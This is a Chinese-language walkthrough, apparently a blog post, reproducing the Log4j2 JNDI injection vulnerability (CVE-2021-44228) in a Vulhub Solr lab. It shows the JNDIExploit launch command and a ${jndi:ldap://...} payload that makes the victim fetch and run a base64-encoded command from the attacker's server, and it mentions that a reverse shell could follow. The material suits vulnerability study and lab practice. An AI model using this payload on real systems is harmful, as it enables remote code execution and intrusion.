Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

复现环境以及使用的工具

环境:使用Vulhub的漏洞环境
工具:bp和JNDIExploit-1-1.2,需要Java环境!!

攻击机和受害机配置

受害机:kali,ip地址为:192.168.150.135。使用vulhub漏洞环境,浏览器访问:http://192.168.150.135:8983/solr/#/
攻击机:windows11,使用JNDIExploit-1-1.2,ip为: 172.16.2.52

其实攻击机最好也为Linux,这样后续反弹shell命令比较方便,但这里只是漏洞复现与验证,所以使用windows作为攻击机

windows攻击机进行漏洞验证

1. 使用命令,开启工具

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.2.52 -p 8983
-i:ip地址
-p:侦听端口,此为工具http侦听端口,可随意。工具会开启LDAP端口1389-p设置的http端口

在这里插入图片描述

2. 使用浏览器访问受害者机服务,并使用BP抓包

Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)_第1张图片
访问受害者漏洞网页进行抓包测试:
Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)_第2张图片

3. BP修改数据包,注入恶意代码

使用bp将get请求转为post请求,并增加任意参数a = ${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/base64的命令}
这里命令受害机执行touch /tmp/1234,touch /tmp/1234的Base64编码为:dG91Y2ggL3RtcC8xMjM0
a = ${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM0}
Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)_第3张图片
该恶意代码利用过程及其作用:
攻击机访问受害者服务,并插入恶意代码${jndi:ldap://172.16.2.52:1389/Basic/Command/Base64/dG91Y2ggL3RtcC8xMjM0}。受害机则访问172.16.2.52:1389(攻击工具地址),攻击工具则自动构造payload,执行dG91Y2ggL3RtcC8xMjM0
Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)_第4张图片

进入受害者机的容器,查看是否攻击成功

上述攻击代码目的是touch /tmp/1234,查看受害者机是否成功创建1234文件
在这里插入图片描述
成功创建,漏洞利用成功。则可利用一系列命名使得受害者机反弹shell,这里就不再演示!

你可能感兴趣的:(漏洞复现,apache,log4j)